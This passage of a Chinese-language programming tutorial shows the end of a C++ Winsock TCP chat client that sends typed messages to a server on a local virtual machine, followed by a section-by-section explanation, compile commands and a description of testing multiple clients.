    WSACleanup();
    return 1;
    }

    // 设置服务器地址和端口
    sockaddr_in serverAddress;
    serverAddress.sin_family = AF_INET;
    serverAddress.sin_port = htons(4444);
    serverAddress.sin_addr.s_addr = inet_addr("192.168.65.136"); // 服务器的 IP 地址

    // 连接到服务器
    if (connect(clientSocket, (struct sockaddr*)&serverAddress, sizeof(serverAddress)) == SOCKET_ERROR) {
    std::cerr << "Failed to connect to server.\n";
    closesocket(clientSocket);
    WSACleanup();
    return 1;
    }

    std::cout << "Connected to server.\n";

    std::string message;

    do {
    // 从命令行输入获取消息
    std::cout << "Enter message (type 'exit' to close): ";
    std::getline(std::cin, message);

    // 如果输入 'exit',则退出循环
    if (message == "exit") {
    sendDataToServer(clientSocket,""); //发送的字节数为0,触发server端的disconnect
    break;
    }

    // 发送消息给服务器
    sendDataToServer(clientSocket, message);

    // 接收服务器的响应
    receiveDataFromServer(clientSocket);

    } while (true);

    // 关闭套接字
    closesocket(clientSocket);
    WSACleanup();

    return 0;
    }

    主要功能和值得注意的地方:

    1. 初始化 Winsock 库:

    1
    2
    3
    4
    5
    WSADATA wsaData;
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
    std::cerr << "Failed to initialize Winsock.\n";
    return 1;
    }

    这部分代码用于初始化 Winsock 库,确保网络库正确启动。

    2. 创建套接字并连接到服务器:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, 0);
    // ...
    sockaddr_in serverAddress;
    serverAddress.sin_family = AF_INET;
    serverAddress.sin_port = htons(4444);
    serverAddress.sin_addr.s_addr = inet_addr("192.168.65.136");
    // ...
    if (connect(clientSocket, (struct sockaddr*)&serverAddress, sizeof(serverAddress)) == SOCKET_ERROR) {
    std::cerr << "Failed to connect to server.\n";
    closesocket(clientSocket);
    WSACleanup();
    return 1;
    }

    在这里,客户端创建了一个套接字并连接到指定的服务器地址和端口。

    3. 发送和接收数据:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    do {
    // 从命令行输入获取消息
    // ...
    // 发送消息给服务器
    sendDataToServer(clientSocket, message);
    // ...
    // 接收服务器的响应
    receiveDataFromServer(clientSocket);
    } while (true);

    客户端通过 sendDataToServer 函数将用户输入的消息发送给服务器,并通过 receiveDataFromServer 函数接收服务器的响应。

    4. 关闭套接字和清理 Winsock:

    1
    2
    closesocket(clientSocket);
    WSACleanup();

    在程序结束时,客户端关闭套接字并清理 Winsock 资源。

    5. 注意事项:

    • 与服务器端一样,客户端也使用了 Winsock 初始化和清理。
    • IP 地址硬编码为 “192.168.65.136”,在实际应用中可能需要根据实际情况进行更灵活的配置。
    • 输入 ‘exit’ 会退出循环,关闭套接字,并清理 Winsock
    测试
    1. 输入以下指令编译cpp。
    1
    2
    g++ task3_server.cpp -o task3_server.exe -lws2_32
    g++ task3_client.cpp -o task3_client.exe -lws2_32

    -lws2_32 选项的作用是在链接阶段将 Winsock 库与你的程序关联,使得你可以在程序中使用 Winsock 提供的网络函数。如果你在程序中使用了 Winsock 函数,但没有添加这个选项,编译器会报错,因为它找不到相应的函数实现。

    1. 在虚拟机(ip=192.168.65.136)上运行server程序,在物理机上运行client程序。

    在虚拟机上运行task3_server.exe:

    6

    在物理机上运行task3_client.exe:

    7

    可以看见client端连接上server端时,server端会打印目前连接的client数量以及ip和port信息。

    1. 尝试多个client端连接server端

    在物理机上运行3个task3_client.exe程序,模拟三个client连接至server。

    8

    可以在server端看见三个client的ip和port信息。

    1. client端向server端发送数据

    9

    可以看见在server端可以正常收到多个client的消息,并且能够正确处理。